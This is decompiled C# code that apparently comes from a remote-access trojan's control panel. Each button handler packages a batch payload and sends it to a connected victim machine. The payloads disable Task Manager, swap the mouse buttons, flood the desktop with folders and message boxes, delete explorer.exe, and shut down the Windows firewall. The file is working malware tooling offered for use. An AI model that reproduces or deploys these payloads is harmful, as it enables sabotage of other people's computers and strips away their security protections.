// Token: 0x0600039C RID: 924 RVA: 0x001FA780 File Offset: 0x001F8B80 private void Button10_Click(object sender, EventArgs e) { this.Code = "@echo off\r\nreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_SZ /d 1 /f > nul"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x0600039B RID: 923 RVA: 0x001FA69C File Offset: 0x001F8A9C private void Button11_Click(object sender, EventArgs e) { this.Code = "@echo off\r\n\r\ncls\r\n@echo off\r\nrundll32 USER32.DLL,SwapMouseButton"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x06000398 RID: 920 RVA: 0x001FA3F0 File Offset: 0x001F87F0 private void Button14_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@ECHO OFF\r\nCD %userprofile%\\Desktop\r\nSET NumeroDePastas=30000\r\nSET /a Nome=Vírus\r\n:3\r\nIF EXIST %NumeroDePastas% GOTO 4\r\nSET /a Nome=%Nome%+1\r\nMD %Nome%\r\nGOTO 3\r\n:4\r\nEXIT"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x06000394 RID: 916 RVA: 0x001FA060 File Offset: 0x001F8460 private void Button4_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@ECHO OFF\r\nCD\\\r\nCD WINDOWS\r\nDEL /s /q explorer.exe\r\ncls\r\nEXIT"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x060003A3 RID: 931 RVA: 0x001FADBC File Offset: 0x001F91BC private void Button17_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@echo off\r\n:loop\r\n%userprofile%/desktop \a\r\necho msgbox flood >%random%.vbs&%random%.vbs\r\ngoto loop"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }
// Token: 0x060003A1 RID: 929 RVA: 0x001FABF4 File Offset: 0x001F8FF4 private void Button19_Click(object sender, EventArgs e) { this.Code = "@echo off\r\ncls\r\n@echo off\r\nnet stop MpsSvc\r\ntaskkill /f /t /im FirewallControlPanel.exe\r\nif %errorlevel%==1 tskill FirewallControlPanel\r\nnetsh firewall set opmode mode=disable"; this.RunAs = "bat"; bool flag = this.Code.Length > 0; if (flag) { bool flag2 = true; byte[] array = Class6.smethod_8(Class6.smethod_11(ref this.Code), ref flag2); MemoryStream memoryStream = new MemoryStream(); MemoryStream memoryStream2 = memoryStream; string text = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; byte[] buffer = Class6.smethod_11(ref text); int offset = 0; string text2 = "rn" + Class7.string_1 + this.RunAs + Class7.string_1; memoryStream2.Write(buffer, offset, Class6.smethod_11(ref text2).Length); memoryStream.Write(array, 0, array.Length); Thread thread = new Thread(new ParameterizedThreadStart(Class7.smethod_4), 1); thread.Start(new object[] { memoryStream.ToArray() }); } }